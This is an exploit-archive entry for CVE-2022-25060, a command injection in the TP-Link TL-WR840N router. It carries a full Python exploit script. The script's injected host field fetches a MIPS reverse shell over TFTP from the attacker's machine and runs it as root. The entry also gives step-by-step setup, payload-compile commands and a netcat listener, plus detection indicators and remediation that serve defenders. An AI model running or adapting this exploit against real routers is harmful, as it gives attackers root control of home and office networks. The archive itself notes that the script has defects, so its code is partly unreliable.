PoC Archive PoC Archive
CVE-2022-25060 category: network CVSS 9.8 (CRITICAL) EPSS 10%
Unpatched

TP-Link TL-WR840N Command Injection via oal_startPing (CVE-2022-25060)

Published: 2026-11-27 • Researcher: Samir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter)

Target software TP-Link TL-WR840N(ES) V6.20 wireless router firmware
Affected versions Firmware build 180709 (TL-WR840N(ES)_V6.20_180709), specifically the oal_startPing ping-diagnostics component. The NVD record names no fixed firmware build.
Status PoC (two-stage chain implemented, but the script contains defects and no successful run is documented)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

EPSS 10%

EPSS 10.1% · 96th percentile

Severity
Critical
CVE
CVE-2022-25060
Category
network
Affected product
TP-Link TL-WR840N(ES) V6.20 wireless router firmware
Affected versions
Firmware build 180709 (TL-WR840N(ES)_V6.20_180709), specifically the oal_startPing ping-diagnostics component. The NVD record names no fixed firmware build.
Disclosed
2026-11-27
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2022-02-25 (upstream commit c65f9456cf252bc5fde0b218a1e847711dfdb09e)
Author / ResearcherSamir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter)
CVE / AdvisoryCVE-2022-25060
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, record); the NVD API reports 10.0
StatusPoC (two-stage chain implemented, but the script contains defects and no successful run is documented)
Tagscommand injection, TP-Link, TL-WR840N, oal_startPing, IPPING_DIAG, embedded router, MIPS little-endian, TFTP, authenticated, CWE-78
RelatedN/A

Affected Target

FieldValue
Software / SystemTP-Link TL-WR840N(ES) V6.20 wireless router firmware
Versions AffectedFirmware build 180709 (TL-WR840N(ES)_V6.20_180709), specifically the oal_startPing ping-diagnostics component. The NVD record names no fixed firmware build.
Language / PlatformPython 3 exploit script; target runs embedded Linux on MIPS little-endian (MIPS32) hardware with a BusyBox userland
Authentication RequiredYes — administrator credentials for the router web management interface (HTTP Basic authentication)
Network Access RequiredYes — HTTP access to the router management IP, plus the router must be able to reach the attacker over TFTP (UDP/69) and TCP to the reverse-shell port

Summary

The TP-Link TL-WR840N with firmware build 180709 fails to sanitize the host value of a ping diagnostic record, so an administrator who can reach the web interface can append shell commands to the address that the ping diagnostics handler later executes. The PoC posts the malicious ping record to the configuration endpoint /cgi?2 and then posts the start action to /cgi?7, which runs the diagnostic and executes the injected commands as root. The injected commands fetch a small MIPS little-endian reverse shell over TFTP and run it, giving the attacker a root shell on the device.

Vulnerability Details

Root Cause

The router web interface accepts configuration records in a plain-text section format at the CGI endpoint /cgi?2. The ping diagnostic record IPPING_DIAG carries the destination host, repetition count, timeout and diagnosticsState fields. The oal_startPing handler builds the diagnostic command line from the host field without validating it against shell metacharacters, so a semicolon in the host value terminates the intended ping and starts an attacker-supplied command. The record is then executed by posting the ACT_OP_IPPING action to /cgi?7, which the firmware runs as root. The record write and the trigger are separate requests, so the injected commands execute only when the action record is posted.

Attack Vector

An attacker who holds administrator credentials sends an HTTP POST to http://TARGET/cgi?2 with a text/plain body, an administrator Basic authentication cookie, and a Host/Referer pair pointing at the router. The body is a section record such as [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6 followed by key=value lines whose host value contains the injected shell commands. A second POST to http://TARGET/cgi?7 with the body [ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0 starts the diagnostic. No CSRF token or confirmation step is required, and the requests work from any network that can reach the management interface.

Impact

Remote code execution as root on the router. Root access allows the attacker to read the administrator password and wireless keys, modify DNS and routing, intercept or redirect all traffic through the device, add NAT port forwards, disable firewall rules, and use the router as a foothold for attacks against the internal network. The injected commands are stored in the device configuration, so a compromised unit stays manipulated until the configuration is cleared or the firmware is reflashed.

Environment / Lab Setup

Output
OS:          Attacker: Linux (Kali/Debian) with Python 3
Target:      TP-Link TL-WR840N(ES) V6.20, firmware 180709 (physical unit or
             an emulated firmware image), reachable at its LAN management IP
Router libc: uClibc/BusyBox on MIPS32 little-endian
Tools:       Python 3 + requests, mipsel-linux-gnu-gcc (or a prebuilt MIPS LE
             payload), tftpd-hpa/atftpd, netcat listener

Setup Steps

Shell script
1
2
3
4
python3 -m venv .venv && . .venv/bin/activate
pip install requests

sudo mkdir -p /srv/tftp && sudo chown $USER /srv/tftp

The archived script does not start a TFTP server and does not compile the payload; both are preconditions supplied by the operator.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the reverse-shell payload — edit the placeholder callback address and port in reverse_shell_mipsle.c, then cross-compile it statically for the router (the script expects a file named s).

    C source
    1
    2
    
    aanvaller_info.sin_port = htons(4444);
    aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.100");
    Shell script
    1
    2
    
    mipsel-linux-gnu-gcc -static -Os -o s reverse_shell_mipsle.c
    cp s /srv/tftp/s
  2. Start the TFTP server and the listener — the router fetches the payload when the diagnostic runs.

    Shell script
    1
    2
    
    sudo systemctl start tftpd-hpa
    nc -lvnp 4444
  3. Run the exploit — stage 1 stores the ping record whose host carries the TFTP fetch, chmod and execution commands; stage 2 triggers the diagnostic.

    Shell script
    1
    2
    3
    4
    5
    
    python3 CVE-2022-25060.py \
        --target 192.168.0.1 \
        --username admin \
        --password 'admin-password' \
        --lhost 192.168.0.100
  4. Catch the shell — when oal_startPing runs, the injected commands download /var/tmp/s, make it executable and run it, which connects back to the listener.

Exploit Code

See CVE-2022-25060.py (two-stage HTTP client) and reverse_shell_mipsle.c (MIPS payload) in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
command = ";tftp -g -r s -l/var/tmp/s {lhost}; chmod +x /var/tmp/s; ./var/tmp/s;"

stage_1 = ('[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n'
           'dataBlockSize=64\r\n'
           'timeout=1\r\n'
           'numberOfRepetitions=4\r\n'
           'host=172.26.26.1;tftp -g -r s -l/var/tmp/s 192.168.0.100; chmod +x /var/tmp/s; ./var/tmp/s;\r\n'
           'X_TP_ConnName=ewan_ipoe_s\r\n'
           'diagnosticsState=Requested\r\n')

stage_2 = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'

Expected Output

Output
[+] Sending Stage 1, allocate command ;tftp -g -r s -l/var/tmp/s 192.168.0.100; chmod +x /var/tmp/s; ./var/tmp/s;
[+] Triggering vulnerability and Getting reverse shell....

and on the listener, a root shell from the router:

Output
$ nc -lvnp 4444
Connection from 192.168.0.1:43210
Connection Completed
uid=0(root) gid=0(root)

Detection & Indicators of Compromise

Output
POST /cgi?2 with an IPPING_DIAG body containing ";" and "tftp"/"chmod"
POST /cgi?7 with an ACT_OP_IPPING body shortly after the record write
Host: <router-ip>   Referer: http://<router-ip>/mainFrame.htm

Diagnostics configuration containing shell metacharacters in the host field
/var/tmp/s (unexpected ELF binary)
Outbound TCP connection to a non-local host from the router

TFTP RRQ for the filename "s" from the router to an internal host (UDP/69)
Router-originated TCP session to a host and port that are not part of normal traffic

SIEM / IDS Rule (example):

Output
alert http any any -> $ROUTER_MGMT any (msg:"CVE-2022-25060 TP-Link oal_startPing command injection attempt"; flow:to_server,established; content:"/cgi?2"; http_uri; content:"IPPING_DIAG"; http_client_body; content:";tftp"; http_client_body; reference:cve,2022-25060; sid:9025060; rev:1;)

Remediation

ActionDetail
PatchUpdate the TL-WR840N to the newest firmware available for the hardware revision, or replace the model if no fixed build is offered; NVD does not name a fixed firmware version for TL-WR840N(ES) V6.20 build 180709. Verify the fixed build with TP-Link support before relying on it.
WorkaroundDo not expose the web management interface to the WAN. Restrict management access to a dedicated administration VLAN or trusted hosts, and use a unique, strong administrator password.
Config HardeningSegment IoT and consumer routers away from production networks, block outbound TFTP (UDP/69) from network devices at the perimeter or LAN firewall, monitor router-originated connections, and re-flash or factory-reset any device that shows unexpected configuration or an outbound shell.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/exploitwritter/CVE-2022-25060 (stars 0, Python plus a C payload).

Review verdict: ingested. This is a real exploit, not a detector: it builds the malicious diagnostic record itself and drives the oal_startPing chain against a user-supplied router, with no version checks, banner scraping or fake verdicts. It is a research PoC and not malware, a C2 framework or a persistence tool. The repository also ships reverse_shell_mipsle.c, a small MIPS payload that the exploit fetches over TFTP to prove code execution; it is included because the reproduction steps depend on it. It is target-specific (hardcoded callback placeholder, no persistence, no C2 protocol, no evasion) and is not a general-purpose backdoor.

License: the repository has no LICENSE file, so copyright remains with the authors and no reuse rights are granted. The archived files keep the original author attribution and add only a short research-use header. The upstream README is copied verbatim as upstream-README.md.

Limitations: the script is rough and was not executed while preparing this entry. Its headers dictionary sets Content-Length to the literal string str(len(self.payload)) and references an attribute self.payload that is never defined, so requests will keep that bogus header and the router or an intermediary may reject the body; removing the Content-Length entry and letting requests compute it is usually necessary on a real device. Stage 1 is only attempted when the first POST returns HTTP 200, and the stage-2 POST is wrapped in a bare except, so failures are silent. The script also assumes a TFTP server is already running and that the payload is compiled as a static MIPS little-endian binary named s; it does not compile or serve anything. The credentials are sent as a cookie named Authorization rather than as an Authorization request header, which some firmware builds will ignore; adding the header explicitly is the usual fix if the router answers with a login page. Paths, the CGI endpoints and the section names are specific to the TL-WR840N(ES) V6.20 build 180709, so other TP-Link models and firmware revisions need their own analysis. Exploitation requires valid administrator credentials, and there is no public proof-of-concept output in the repository, which is why the status is PoC rather than Weaponized. No exploit code was executed during preparation of this entry.

CVE-2022-25060.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/exploitwritter/CVE-2022-25060 (see README for attribution/license)
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script exploits a remote command execution vulnerability under the oal_startPing component in the TPLink WR840N router.

import requests
import base64
import argparse

class RCE():
    def __init__(self, ip, username, password, lhost):
        self.ip = ip
        self.username = username
        self.password = password
        self.lhost = lhost
        self.session = requests.Session()
        self.command = ";tftp -g -r s -l/var/tmp/s {}; chmod +x /var/tmp/s; ./var/tmp/s;".format(self.lhost)
    
    def base64_encode(self, s):
        msg_bytes = s.encode('ascii')
        return base64.b64encode(msg_bytes)

    def exploit(self):
        # Building the malicious packet
        
        self.url = "http://" + self.ip + "/cgi?2"
        self.url_trigger = "http://" + self.ip + "/cgi?7"
        self.proxyes = {}
        self.stage_1 = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\ndataBlockSize=64\r\ntimeout=1\r\nnumberOfRepetitions=4\r\nhost=172.26.26.1{}\r\nX_TP_ConnName=ewan_ipoe_s\r\ndiagnosticsState=Requested\r\n'.format(self.command)
        self.stage_2 = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
    
        self.headers = {
            'Host': self.ip,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
            'Accept': '*/*',
            'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'text/plain',
            'Content-Length': 'str(len(self.payload))',
            'Origin': 'http://'+str(self.ip),
            'Referer': 'http://'+str(self.ip)+'/mainFrame.htm',
        }
        
        self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') }
        
        self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.stage_1, proxies=self.proxyes)
        if self.response.status_code == 200:
            print("[+] Sending Stage 1, allocate command {}".format(self.command))
            print("[+] Triggering vulnerability and Getting reverse shell....")
            
            try:
                self.response = self.session.post(self.url_trigger, headers=self.headers, cookies=self.cookies, data=self.stage_2, proxies=self.proxyes, timeout=5)
            except:
                pass
            

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True)
    parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True)
    parser.add_argument("--target", dest="target", help="Enter router ip address", required=True)
    parser.add_argument("--lhost", dest="lhost", help="Enter your lhost server tfpt", required=True)
    args = parser.parse_args()
    
    if args.username and args.password and args.target and args.lhost:
        rce = RCE(args.target, args.username, args.password, args.lhost)
        rce.exploit()

if __name__ == "__main__":
    main()